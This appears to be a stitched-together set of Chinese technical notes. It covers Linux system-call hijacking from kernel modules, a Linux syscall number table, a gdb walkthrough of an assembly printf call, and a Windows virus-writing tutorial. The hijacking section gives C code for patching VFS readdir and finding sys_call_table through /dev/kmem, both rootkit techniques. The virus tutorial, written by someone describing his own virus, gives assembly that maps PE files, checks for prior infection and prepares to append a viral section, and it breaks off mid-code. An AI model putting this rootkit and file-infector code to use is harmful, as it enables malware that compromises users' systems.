一,系统调用劫持

一、介绍

        先介绍一下内核模块。内核模块是在操作系统需要的时候动态载入的目标文件对象,链接成内核的一部分,从而可以在不重新编译整个内核的情况加扩展内核的功能。例如一些内核模块是设备驱动程序模块,它们用来让操作系统正确的识别和使用硬件设备,如果没有内核模块,每次增加新驱动程序就得重新编译内核和重启了。

        复习一下系统调用的流程。Linux中实现系统调用时利用了i386体系结构中的软件中断,系统调用使用的是0x80号中断。当系统调用发生时,CPU被切换到内核态执行中断向量表IDT对于的第0x80号中断处理函数,即跳转到了我们熟悉的system_call()的入口,system_call()函数检查系统调用号(在寄存器中),然后在sys_call_table中找到与系统调用号相对应的内核函数的入口地址,接着调用这个内核函数,在返回后做一些系统检查,最后返回到进程。



        下面看看system_call的主要源码,在linux\arch\i386\kernel\entry.S中。

  1. ENTRY(system_call)  
  2.     ...  
  3.     SAVE_ALL            #保存现场  
  4.     ...  
  5.     cmpl $(nr_syscalls), %eax   #检查系统调用号是否合法  
  6.     jae syscall_badsys  
  7. syscall_call:  
  8.     call *sys_call_table(,%eax,4)   #第一个参数为空代表从sys_call_table数组的基址开始  
  9.                                         #偏移量为%eax*4,4是一个函数指针的长度,%eax是系统调用号  
  10.     movl %eax,EAX(%esp)     #保存返回值  
  11.     ...  

二、系统调用劫持原理

        在2.4的内核之前,sys_call_table可以直接导出sys_call_table符号,即使用extern修饰符跨文件域的引用,但在2.4之后,出于对安全的考虑,内核不再能导出sys_call_table符号。后来有人利用IDT表及/dev/kmem确定sys_call_table的地址,这样做的优点是在用户空间就可以实现,不过需要更多的技巧。也有更加暴力的通过idtr寄存器获得IDT表之后,直接用自己构造的中断描述符替代原来的0x80号中断的描述符,使得此处的中断处理函数地址指向我们自定义的处理函数,最终实现系统调用发生时执行我们想要的操作。还有些是劫持特点的系统调用,例如通过修改vfs文件系统。

        下面介绍一下几种系统调用劫持方法:


1、通过修改vfs文件系统,进行特定系统调用劫持。

        主要代码如下所示:

  1. char *root_fs="/";  
  2. typedef int (*readdir_t)(struct file *,void *,filldir_t);  
  3. readdir_t orig_root_readdir=NULL;  
  4. int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)  
  5. {   
  6.     struct file *filep;   
  7.     filep=filp_open(p,O_RDONLY,0);   
  8.     if(IS_ERR(filep))   
  9.     return -1;   
  10.     if(orig_readdir)                        /*readdir函数的作用好像读取目录,返回目录下的文件名*/   
  11.         *orig_readdir=filep->f_op->readdir;   /*保存原函数指针*/   
  12.     filep->f_op->readdir=new_readdir;     /*指向自己的函数*/   
  13.     filp_close(filep,0);   
  14.     return 0;  
  15. }  

2、利用IDT表及/dev/kmem来找到sys_call_table的地址。

        首先在idtr寄存器可以得到IDT表的基址,从IDT表的第0x80项(基址+8*0x80,每个中断描述符为8个字节)可以得到system_call()函数的地址,然后从/dev/kmen中读取此函数的机器码,从中搜索CALL指令的机器码(0xff 0x14 0x85)就可以确定sys_call_table的地址。

        先看两个数据结构:

  1. <span style="font-family:System;">struct{  
  2.     unsigned short limit;  
  3.     unsigned int base;  
  4. } __attribute__ ((packed)) idtr;        /*这个结构表示IDTR寄存器*/  
  5.   
  6.   
  7. struct{  
  8.     unsigned short off1;  
  9.     unsigned short sel;  
  10.     unsigned char none,flags;  
  11.     unsigned short off2;  
  12. } __attribute__ ((packed)) idt;         /*中断门描述符*/</span>  


        下面是主要的代码:

  1.     unsigned sys_call_off;  
  2.      int kmem_fd;  
  3.  unsigned sct;  
  4.  char sc_asm[CALLOFF],*p;     
  5.  asm ("sidt %0" : "=m" (idtr));         /*获得idrt寄存器的值*/  
  6.   
  7.   
  8.  kmem_fd = open ("/dev/kmem",O_RDONLY);     /*打开kmen*/  
  9.  if (kmem_fd<0)  
  10.  {  
  11. perror("open");  
  12. return 1;  
  13.  }  
  14.   
  15.   
  16.  readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt));     /*从IDT读出0x80向量,idtr.base+8*0x80 表示80中断描述符的偏移*/  
  17.  sys_call_off = (idt.off2 << 16) | idt.off1;          /*idt.off2 表示地址的前16位,得到system_call()的地址*/  
  18.   
  19.   
  20.  readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);       /*查找sys_call_table的地址,CALLOFF可以自己指定长度,*/  
  21.                                                         /*100字节左右就必定包含目的机器码*/  
  22.  p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);   /*call的机器码是0xff 0x14 0x85,搜索这个字符串*/  
  23.  sct = *(unsigned*)(p+3);                               /*sys_call_table地址就在0xff 0x14 0x85之后*/  


        下面是readmem函数的实现,作用是用mmap的方式从kmen中读取size长度的内容,拷贝到buf中。
  1.  unsigned long readkmem (int fd, void * buf, size_t off, unsigned int size)  
  2. {  
  3.     size_t moff, roff;  
  4.     size_t sz = getpagesize();  
  5.     char * kmap;  
  6.     moff = ((size_t)(off/sz)) * sz;  
  7.     roff = off - moff;  
  8.     kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff); /*mmap将一个文件或者其他对象映射入内存,具体参数意义可百度*/  
  9.   
  10.     if (kmap == MAP_FAILED)   
  11.     {  
  12.         perror("readkmem: mmap");  
  13.         return 0;  
  14.     }  
  15.     memcpy (buf, &kmap[roff], size);  
  16.   
  17.     if (munmap(kmap, size) != 0)  
  18.     {  
  19.         perror("readkmem: munmap");  
  20.     return 0;  
  21.     }  
  22.   
  23.     return size;  
  24. }  

3、自己构造的中断描述符替换原来的int 80h中断的描述符。

        这种方法跟2的开始差不多,通过idtr获得IDT表,然后就是把第0x80项替换成自己的描述符,让它指向我们自己定义的处理函数。不过自己定义的处理函数有具有如下的功能:

    1、保存寄存器环境
    2、执行一些自定义操作
    3、恢复寄存器环境
    4、调用原来的中断处理函数(或不调用)
        这种方法不依赖于对/dev/kmen的搜索,一次对所有的系统调用进行截获,效率高。


4、一个有趣的现象。

        sys_call_table往往在loops_per_jiffy与boot_cpu_data两个符号之间,因此可以在此之间通过搜索找到sys_call_table的地址。

主要代码如下所示,在2.6内核下编写内核模块测试此方法,的确是有效的。

  1. unsigned long **find_sys_call_table(void) {  
  2.     unsigned long **sctable;  
  3.     unsigned long ptr;  
  4.     extern int loops_per_jiffy;  
  5.   
  6.     sctable = NULL;  
  7.     for (ptr = (unsigned long)&loops_per_jiffy;  
  8.         ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *))  
  9.         {  
  10.       
  11.         unsigned long *p;  
  12.         p = (unsigned long *)ptr;  
  13.         if (p[__NR_close] == (unsigned long) sys_close){  
  14.             sctable = (unsigned long **)p;  
  15.             return &sctable[0];  
  16.         }  
  17.     }  
  18.     return NULL;  

  19.                                                           二,linux系统调用号列表                                                

    (1)系统调用号的定义在 /usr/include/asm/unistd.h 文件中
    (2)2.6.16的定义如下所示:
    #define __NR_restart_syscall 0
    #define __NR_exit 1
    #define __NR_fork 2
    #define __NR_read 3
    #define __NR_write 4
    #define __NR_open 5
    #define __NR_close 6
    #define __NR_waitpid 7
    #define __NR_creat 8
    #define __NR_link 9
    #define __NR_unlink 10
    #define __NR_execve 11
    #define __NR_chdir 12
    #define __NR_time 13
    #define __NR_mknod 14
    #define __NR_chmod 15
    #define __NR_lchown 16
    #define __NR_break 17
    #define __NR_oldstat 18
    #define __NR_lseek 19
    #define __NR_getpid 20
    #define __NR_mount 21
    #define __NR_umount 22
    #define __NR_setuid 23
    #define __NR_getuid 24
    #define __NR_stime 25
    #define __NR_ptrace 26
    #define __NR_alarm 27
    #define __NR_oldfstat 28
    #define __NR_pause 29
    #define __NR_utime 30
    #define __NR_stty 31
    #define __NR_gtty 32
    #define __NR_access 33
    #define __NR_nice 34
    #define __NR_ftime 35
    #define __NR_sync 36
    #define __NR_kill 37
    #define __NR_rename 38
    #define __NR_mkdir 39
    #define __NR_rmdir 40
    #define __NR_dup 41
    #define __NR_pipe 42
    #define __NR_times 43
    #define __NR_prof 44
    #define __NR_brk 45
    #define __NR_setgid 46
    #define __NR_getgid 47
    #define __NR_signal 48
    #define __NR_geteuid 49
    #define __NR_getegid 50
    #define __NR_acct 51
    #define __NR_umount2 52
    #define __NR_lock 53
    #define __NR_ioctl 54
    #define __NR_fcntl 55
    #define __NR_mpx 56
    #define __NR_setpgid 57
    #define __NR_ulimit 58
    #define __NR_oldolduname 59
    #define __NR_umask 60
    #define __NR_chroot 61
    #define __NR_ustat 62
    #define __NR_dup2 63
    #define __NR_getppid 64
    #define __NR_getpgrp 65
    #define __NR_setsid 66
    #define __NR_sigaction 67
    #define __NR_sgetmask 68
    #define __NR_ssetmask 69
    #define __NR_setreuid 70
    #define __NR_setregid 71
    #define __NR_sigsuspend 72
    #define __NR_sigpending 73
    #define __NR_sethostname 74
    #define __NR_setrlimit 75
    #define __NR_getrlimit 76 /* Back compatible 2Gig limited rlimit */
    #define __NR_getrusage 77
    #define __NR_gettimeofday 78
    #define __NR_settimeofday 79
    #define __NR_getgroups 80
    #define __NR_setgroups 81
    #define __NR_select 82
    #define __NR_symlink 83
    #define __NR_oldlstat 84
    #define __NR_readlink 85
    #define __NR_uselib 86
    #define __NR_swapon 87
    #define __NR_reboot 88
    #define __NR_readdir 89
    #define __NR_mmap 90
    #define __NR_munmap 91
    #define __NR_truncate 92
    #define __NR_ftruncate 93
    #define __NR_fchmod 94
    #define __NR_fchown 95
    #define __NR_getpriority 96
    #define __NR_setpriority 97
    #define __NR_profil 98
    #define __NR_statfs 99
    #define __NR_fstatfs 100
    #define __NR_ioperm 101
    #define __NR_socketcall 102
    #define __NR_syslog 103
    #define __NR_setitimer 104
    #define __NR_getitimer 105
    #define __NR_stat 106
    #define __NR_lstat 107
    #define __NR_fstat 108
    #define __NR_olduname 109
    #define __NR_iopl 110
    #define __NR_vhangup 111
    #define __NR_idle 112
    #define __NR_vm86old 113
    #define __NR_wait4 114
    #define __NR_swapoff 115
    #define __NR_sysinfo 116
    #define __NR_ipc 117
    #define __NR_fsync 118
    #define __NR_sigreturn 119
    #define __NR_clone 120
    #define __NR_setdomainname 121
    #define __NR_uname 122
    #define __NR_modify_ldt 123
    #define __NR_adjtimex 124
    #define __NR_mprotect 125
    #define __NR_sigprocmask 126
    #define __NR_create_module 127
    #define __NR_init_module 128
    #define __NR_delete_module 129
    #define __NR_get_kernel_syms 130
    #define __NR_quotactl 131
    #define __NR_getpgid 132
    #define __NR_fchdir 133
    #define __NR_bdflush 134
    #define __NR_sysfs 135
    #define __NR_personality 136
    #define __NR_afs_syscall 137 /* Syscall for Andrew File System */
    #define __NR_setfsuid 138
    #define __NR_setfsgid 139
    #define __NR__llseek 140
    #define __NR_getdents 141
    #define __NR__newselect 142
    #define __NR_flock 143
    #define __NR_msync 144
    #define __NR_readv 145
    #define __NR_writev 146
    #define __NR_getsid 147
    #define __NR_fdatasync 148
    #define __NR__sysctl 149
    #define __NR_mlock 150
    #define __NR_munlock 151
    #define __NR_mlockall 152
    #define __NR_munlockall 153
    #define __NR_sched_setparam 154
    #define __NR_sched_getparam 155
    #define __NR_sched_setscheduler 156
    #define __NR_sched_getscheduler 157
    #define __NR_sched_yield 158
    #define __NR_sched_get_priority_max 159
    #define __NR_sched_get_priority_min 160
    #define __NR_sched_rr_get_interval 161
    #define __NR_nanosleep 162
    #define __NR_mremap 163
    #define __NR_setresuid 164
    #define __NR_getresuid 165
    #define __NR_vm86 166
    #define __NR_query_module 167
    #define __NR_poll 168
    #define __NR_nfsservctl 169
    #define __NR_setresgid 170
    #define __NR_getresgid 171
    #define __NR_prctl 172
    #define __NR_rt_sigreturn 173
    #define __NR_rt_sigaction 174
    #define __NR_rt_sigprocmask 175
    #define __NR_rt_sigpending 176
    #define __NR_rt_sigtimedwait 177
    #define __NR_rt_sigqueueinfo 178
    #define __NR_rt_sigsuspend 179
    #define __NR_pread64 180
    #define __NR_pwrite64 181
    #define __NR_chown 182
    #define __NR_getcwd 183
    #define __NR_capget 184
    #define __NR_capset 185
    #define __NR_sigaltstack 186
    #define __NR_sendfile 187
    #define __NR_getpmsg 188 /* some people actually want streams */
    #define __NR_putpmsg 189 /* some people actually want streams */
    #define __NR_vfork 190
    #define __NR_ugetrlimit 191 /* SuS compliant getrlimit */
    #define __NR_mmap2 192
    #define __NR_truncate64 193
    #define __NR_ftruncate64 194
    #define __NR_stat64 195
    #define __NR_lstat64 196
    #define __NR_fstat64 197
    #define __NR_lchown32 198
    #define __NR_getuid32 199
    #define __NR_getgid32 200
    #define __NR_geteuid32 201
    #define __NR_getegid32 202
    #define __NR_setreuid32 203
    #define __NR_setregid32 204
    #define __NR_getgroups32 205
    #define __NR_setgroups32 206
    #define __NR_fchown32 207
    #define __NR_setresuid32 208
    #define __NR_getresuid32 209
    #define __NR_setresgid32 210
    #define __NR_getresgid32 211
    #define __NR_chown32 212
    #define __NR_setuid32 213
    #define __NR_setgid32 214
    #define __NR_setfsuid32 215
    #define __NR_setfsgid32 216
    #define __NR_pivot_root 217
    #define __NR_mincore 218
    #define __NR_madvise 219
    #define __NR_madvise1 219 /* delete when C lib stub is removed */
    #define __NR_getdents64 220
    #define __NR_fcntl64 221
    /* 223 is unused */
    #define __NR_gettid 224
    #define __NR_readahead 225
    #define __NR_setxattr 226
    #define __NR_lsetxattr 227
    #define __NR_fsetxattr 228
    #define __NR_getxattr 229
    #define __NR_lgetxattr 230
    #define __NR_fgetxattr 231
    #define __NR_listxattr 232
    #define __NR_llistxattr 233
    #define __NR_flistxattr 234
    #define __NR_removexattr 235
    #define __NR_lremovexattr 236
    #define __NR_fremovexattr 237
    #define __NR_tkill 238
    #define __NR_sendfile64 239
    #define __NR_futex 240
    #define __NR_sched_setaffinity 241
    #define __NR_sched_getaffinity 242
    #define __NR_set_thread_area 243
    #define __NR_get_thread_area 244
    #define __NR_io_setup 245
    #define __NR_io_destroy 246
    #define __NR_io_getevents 247
    #define __NR_io_submit 248
    #define __NR_io_cancel 249
    #define __NR_fadvise64 250
    #define __NR_set_zone_reclaim 251
    #define __NR_exit_group 252
    #define __NR_lookup_dcookie 253
    #define __NR_epoll_create 254
    #define __NR_epoll_ctl 255
    #define __NR_epoll_wait 256
    #define __NR_remap_file_pages 257
    #define __NR_set_tid_address 258
    #define __NR_timer_create 259
    #define __NR_timer_settime (__NR_timer_create+1)
    #define __NR_timer_gettime (__NR_timer_create+2)
    #define __NR_timer_getoverrun (__NR_timer_create+3)
    #define __NR_timer_delete (__NR_timer_create+4)
    #define __NR_clock_settime (__NR_timer_create+5)
    #define __NR_clock_gettime (__NR_timer_create+6)
    #define __NR_clock_getres (__NR_timer_create+7)
    #define __NR_clock_nanosleep (__NR_timer_create+8)
    #define __NR_statfs64 268
    #define __NR_fstatfs64 269
    #define __NR_tgkill 270
    #define __NR_utimes 271
    #define __NR_fadvise64_64 272
    #define __NR_vserver 273
    #define __NR_mbind 274
    #define __NR_get_mempolicy 275
    #define __NR_set_mempolicy 276
    #define __NR_mq_open 277
    #define __NR_mq_unlink (__NR_mq_open+1)
    #define __NR_mq_timedsend (__NR_mq_open+2)
    #define __NR_mq_timedreceive (__NR_mq_open+3)
    #define __NR_mq_notify (__NR_mq_open+4)
    #define __NR_mq_getsetattr (__NR_mq_open+5)
    #define __NR_sys_kexec_load 283
    #define __NR_waitid 284
    /* #define __NR_sys_setaltroot 285 */
    #define __NR_add_key 286
    #define __NR_request_key 287
    #define __NR_keyctl 288
    #define __NR_ioprio_set 289
    #define __NR_ioprio_get 290
    #define __NR_inotify_init 291
    #define __NR_inotify_add_watch 292
    #define __NR_inotify_rm_watch 293

    #define NR_syscalls 294

                                                        

    三,汇编语言系统调用过程

    以printf为例,详细解析一个简单的printf调用里头,系统究竟做了什么,各寄存器究竟如何变化。

    如何在汇编调用glibc的函数?其实也很简单,根据c convention call的规则,参数反向压栈,call,然后结果保存在eax里头。注意,保存的是地址。

    在汇编里头,一切皆地址。


    当我们调用 result = printf( "%d %d", 12, a )的时候,编译器默认是这样处理的(除非函数定义声明了pascal call)。 

    在栈里头,先一次push a的地址,还有12这个立即数,再push "%d %d"这个字符串的地址,内存模型如下,x86的esp是往下增长的。

    (这里是buttom,往下增长的是top)

    &a

    12

    address of "%d %d"

    -------------------------------------------(esp 指着这里 ,我们假设地址是4字节,12这个数也是4字节)

    当call printf的时候,首先,push当前的eip入esp,解析esp+4所指的"%d  %d",因为%d这样的特定字符都定义了后面每个参数的大小,所以只要解析“%d  %d”,我们就可以知道栈里头参数的情况,例如esp+4+4就是一个int,esp+4+4+4是另外一个int。

    当返回的时候,先pop到eip,也就是把eip还原到call之后马上要执行的机器码,这时,esp就指着“%d  %d”,esp+4指着12,esp+8指着a的地址。esp里头的内容怎么处理,看需要吧,你也可以pop出来,也可以不pop。但为了效率着想,如果空间够用,通常不pop,直接用mov指令把下一次要用的参数move进去。返回指储存在eax里头。


    这也一定程度上解释了为什么c convention  call是反向压栈,这样编译器处理起来方便,特别对于这些va_list,因为va_list后面不能继续跟参数,va_list一定出现在函数的末尾,如果是对printf这类的函数使用pascal call,也就是参数正向压栈,汇编级别处理起来就特别麻烦了。


    下面就用汇编语言写一个调用printf,并用gdb跟踪寄存器。


    代码test_printf.s

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    .section .data   
             format : .asciz  "%d\n" 
    .section .text   
    .global _start   
    _start:   
             pushl $12   
             pushl $ format 
             call  printf 
             movl $0, (%esp)   
             call  exit

    编译

    #as -g test_printf.s -o test_printf.o

    链接

    #ld -lc -I /lib/ld-linux.so.2 test_printf.o -o test_printf

    -g是要加入调试信息

    ld的-lc是链接libc.a,-I是--dynamic-linker,/lib/ld-linux.so.2

    运行

    #./test_printf

    输出12


    调试

    用objdump看看test_printf里头的.text section,注意Disassembly of section .text


    使用gdb跟踪,看看上述是否正确

    #gdb test_printf

    设置断点到_start

    (gdb) break _start

    (gdb) run 

    执行,遇到断点,停下,eip指着第6行,也就是第一条要执行的push指令

    (gdb) info reg   

    察看寄存器状况

    (gdb) s  

    执行一步,eip指着下一条指令地址

    (gdb) info reg


    esp            0xbffff6cc       0xbffff6cc  

    6cc = 6d0 - 4,对比上一条的esp,小了4,也就是stack增长了4个字节


    (gdb) s

    (gdb) info reg

    esp            0xbffff6c8       0xbffff6c8  

    6c8 = 6cc - 4,对比上一条的esp,小了4,也就是stack增长了4个字节


    (gdb) s

    in printf () from /lib/libc.so.6  

    执行一步,正式进入printf

    (gdb) info reg

    esp            0xbffff6c4       0xbffff6c4

    6c4=6c8-4  新push进去4个字节


    (gdb) x /1x $esp
    0xbffff6c4:     0x080481c4

    esp的栈顶保存的是下一条要执行的代码的位置,movl的位置,(参考上面objdump的结果)

     

    可以使用bt查看栈帧,下面对比栈变化

     

    (gdb) s

    printf出12,已经执行完毕

    (gdb) info reg

    eax保存着这次printf的返回值,也就是被打印的字符数量,12\n,一共3个字符。

    esp恢复到call printf之前的状态

    恢复eip


    (gdb) s

    执行movl指令,下一条是call exit

    (gdb) x /1x $esp

    esp并没有增长,因为printf之前的数据已经没用了,我没有把他们pop出来,而是直接用新的数据刷写esp所指的内存。


    (gdb) s
    (gdb) s

    正常退出


    关于EIP、ESP、EBP寄存器

    1.EIP寄存器里存储的是CPU下次要执行的指令的地址

    也就是调用完fun函数后,让CPU知道应该执行main函数中的printf("函数调用结束")语句了。

    2.EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)

    3.ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。并且始终指向栈顶。

    堆栈是一种简单的数据结构,是一种只允许在其一端进行插入或删除的线性表。
    允许插入或删除操作的一端称为栈顶,另一端称为栈底,对堆栈的插入和删除操作被称入栈出栈

    有一组CPU指令可以实现对进程的内存实现堆栈访问。其中,POP指令实现出栈操作,PUSH指令实现入栈操作。
    CPU的ESP寄存器存放
    当前线程的栈顶指针
    EBP寄存器中保存
    当前线程的栈底指针
    CPU的EIP寄存器存放
    下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。                                                    怎么样,收集资料,去尝试吧!

      第四步,基本原理摸索。

    第四步在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。但是最适合写病毒程序的还是汇编语言。汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能:

    一 代码重定位

    二 自己找到所需API地址

    三 搜索文件、目录

    四 感染文件

    五 破坏系统或文件(随便你了)

    其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。

    (一)代码的重定位

    一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。

    Call getbaseaddress

    Getbaseaddress:pop ebx

    Sub ebx,offset getbaseaddress

    Mov eax,dword ptr [ebx+Var1]

    如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。

    (二)自己取得所需的API地址

    一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它被插入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西,我们需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。如果找到了它,我们就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。总不能在执行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。

    在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL,就是说,你程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,我们顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。因为win32下,代码或数据的开始位置总是页面单位(windows平台下为4kb)对齐的。Kernel32.dll是一个PE文件,我们按比较PE文件dos签名标志和PE签名标志的方法找。另外还有个办法是通过SHE技术找。这是最好的办法了,前一个办法因为堆栈是动态的原因不稳定,一般只能将获取地址的代码块放在最开头,这个方法完全是与堆栈无关的,放在哪里执行都不会出错,如果你的病毒需要用一些远程线程之类的技术,最好用这个方法。

    SHE结构,第一个成员指向下一个SEH结构,如果是最后一个那么它的值就是0ffffffffh。第二个成员指向异常处理函数,如果是最后一个SHE结构且没有指定的话,缺省的是SetUnhandlederExceptionFilter函数地址。当异常触发这个函数时就会弹出一个对话框,问你发不发送错误。98下显示蓝屏。这个函数是包含在KERNEL32.dll中的,只要取得它的地址向上找就能找到KERNEL32.dll的基地址了。在说SHE时总忘不了TEB,TEB是创建一个线程时分配的线程相关的数据结构,SHE只是它开头第一个数据结构体而已。它还包含了其他许多重要的东西,TEB由FS段选择器指向,有兴趣的查查资料,这里篇幅原因就不再多说了。接着上面的,看看如何找SetUnhanderExceptionFilter函数地址。先根据“下一个”SHE结构的值定位到最后一个SHE结构,这时取出she处理函数的地址,就是SetUnHandleredEceptionFilter函数地址了,以页面为单位向上找就可以找到Kernel32.dll了/

    得到Kernel32.dll的基地址后,定位到它的导出表,找出GetProcAddress地址再利用GetProcAddress就能找到其他任何所需要的函数了。在搜索API时应该注意API的名字,API的名字实际的导出名字很有可能不是你调用时的名字,windows下很多API都有两个版本ANSI版和UNICODE版,ANSI版函数名后缀带个A,比如CreateWindowExA,,而UNICODE版的函数名带个W后缀,比如CreateWindowExW。不过考虑到麻烦问题,现有的很多编译器都不让你写后缀,只是在编译的时候根据你程序是ANSI版的还是UNICODE版的自动改名字。Win2K以后的API函数都是Unicode 版本的,如果调用ANSI版本的函数,系统只是将函数中的字符串通过进程默认堆将其转换成Unicode字符串,再调用Unicode版的API。Unicode是个发展方向,大家应该养成使用它的习惯而不是ANSI。

    (三)搜索文件、目录

           主要是用FindFirstFile,FindNextFile,FindClose.这三个函数实现。值得注意的是在用“*.*”搜索字符串时得到的是程序文件所在目录的所有文件和目录。而GetCurrentDirectory取得的是系统当前的目录。后者是随时会随着用户的操作而改变的,前者只会随着目标程序文件的位置改变而改变。搜索需要感染的目录和文件时应该重点搜索windows安装目录(GetWindowsDirectory),系统目录(GetSystemDIrectory),当前目录(GetCurrentDirectory) ,当然程序当前目录也是不可放过的,比如,你把QQ感染了,QQ目录底下那么多常常使用的程序文件,比如珊瑚虫外挂,邮箱工具等等都是你的盘中餐了。我最喜欢感染的地方还是系统中各个进程所在的目录,那些才是用户最常用的,我的遂宁一号病毒是通过代码插入的办法做到这点的,很麻烦,且很不稳定。常常莫名其妙的使被插入进程在插入时结束掉,虽然可以用SHE避免,但是还是没多大效果。我现在正在构想我的下一个病毒,那时我将会使用PEB来枚举各个进程所在的目录了,不再使用代码插入了,会使病毒稳定的多的,我在遂宁一号中枚举进程使用的是toolhelp系列函数这样使病毒在Windows98也能正常运行。

    (四)感染文件

    所谓感染就是将病毒程序的代码插入到目标程序中,然后让目标程序先执行病毒程序的代码。至于将代码插入到目标程序的什么位置上,如何使目标程序执行插入的病毒代码,什么时机对什么文件进行感染都是感染问题的核心。首先讨论将病毒代码插入到目标程序的什么位置才生效。

    Windows平台下的可执行文件都是PE格式的,这种格式的文件,你可以将它看成两大部分。第一部分是描述各类数据存放位置的数据结构,第二部分就是各种数据,比如资源,代码,数据等等。因此,想将代码正确插入到目标程序文件中,就要读取和修改目标程序文件中描述各类数据存放位置的数据结构了。下面我们来计算下我们的代码插入的位置,在这里我们讲一个最简单的插入方法,通过在文件中增加一个新的节区来实现。

    push eax

     

    push FILE_ATTRIBUTE_NORMAL

    push eax

    call DWORD ptr [ebx+SetFileAttributes1]

     

    pop eax

     

    push NULL

    push FILE_ATTRIBUTE_NORMAL

    push OPEN_EXISTING

    push NULL

    push 0

    push GENERIC_READ or GENERIC_WRITE 

    push eax

    call DWORD ptr [ebx+ CreateFile1]

     

    inc eax

    jz @error1

     
    dec eax

    mov DWORD ptr [ebx+hFile],eax

    上面那几步就用不着多说了吧,就是打开文件嘛!文件名指针放在eax里头的

     

    push NULL

    push DWORD ptr [ebx+hFile]

    call DWORD ptr [ebx+GetFileSize1]

     

    mov DWORD ptr [ebx+dwFileSize],eax

     

    push NULL

    push 0

    push 0

    push PAGE_READWRITE

    push NULL

    push DWORD ptr [ebx+hFile]

    call DWORD ptr [ebx+CreateFileMapping1]

    or eax,eax

    jz @error1

    mov DWORD ptr [ebx+hMap],eax

    push 0

    push 0

    push 0

    push FILE_MAP_READ or FILE_MAP_WRITE

    push DWORD ptr [ebx+hMap] 

    call DWORD ptr [ebx+MapViewOfFile1]

    or eax,eax

    jz @error1

    mov DWORD ptr [ebx+pMap],eax

    mov esi,eax

    cmp WORD ptr [esi],'ZM'

    jnz @error1

    add esi,DWORD ptr [esi+3ch]

    cmp WORD ptr [esi],'EP'

    jnz @error1

    cmp DWORD ptr [esi+4ch],'1.ns'

    jz @error1

    这几步是对文件进行映射,然后判断该文件是不是PE格式文件,是不是已经被感染过了?如果这两个条件有一个满足就说明没有感染它的必要了,跳到@error1上去。

     

    mov eax,DWORD ptr [ebx+dwFileSize]

     

    add eax,Virus_End-Virus_Start

    mov ecx,DWORD ptr [esi+3ch]

    call Align1

    刚刚取得了文件的大小,现在将它和病毒的体积相加,然后进行文件对齐,注意文件对齐是必须的。Align1是个对齐子程序,对齐后的值放在eax中的,对齐因子放在ecx中的。

    说到这我火又来了,我开始看的教程,这篇文章讲的对齐方法有错误,我没察觉,有一次为了这个错误浪费了我3个通宵我当时都快失去自信了。这个错误就是对齐,所谓对齐就是将一个数(未对齐的数)整成另一个数的倍数(对齐因子)他讲的对齐方法是这样的,他说,先用未对齐的数去除以对齐因子,再用对齐因子减去余数,再用未对齐的数加上这个减去后的数。我开始验算了几个值都对,而且大多数文件也能正确感染,但是就是有那么几个文件一感染就出问题。后来发现是文件对齐的问题了,于是换了个更符合逻辑容易想通的办法,一个未对齐的数总是对齐因子的倍数,我们先找出未对齐的数是对齐因子的几倍,所以用未对齐的数除以对齐因子,如果有余数说明没对齐,还差一倍,将商加个一乘以对齐因子,这样就得到对齐后的值了。如是对齐因子本身比原数大的话,那就还是有余数,加上一乘以对齐因子,就是对齐因子的一倍,所以这个方法既简单又符合逻辑。这才是方法。不过我也不怎么太怪那个Billy Belceb,因为他写电子教程时才16岁。16岁能写出那样有深度的文章已经是难能可贵了。佩服~~~。

    mov DWORD ptr [ebx+dwFileSize],eax

    push DWORD ptr [ebx+pMap]

    call DWORD ptr [ebx+UnmapViewOfFile1]

    push DWORD ptr [ebx+hMap]

    call DWORD ptr [ebx+CloseHandle1]

    push 0

    push DWORD ptr [ebx+dwFileSize]

    push 0

    push PAGE_READWRITE

    push 0

    push  DWORD ptr [ebx+hFile ]

    call DWORD ptr [ebx+CreateFileMapping1]

    or eax,eax

    jz @error1

    mov  DWORD ptr [ebx+hMap] ,eax

    push 0

    push 0

    push 0

    push FILE_MAP_READ or FILE_MAP_WRITE

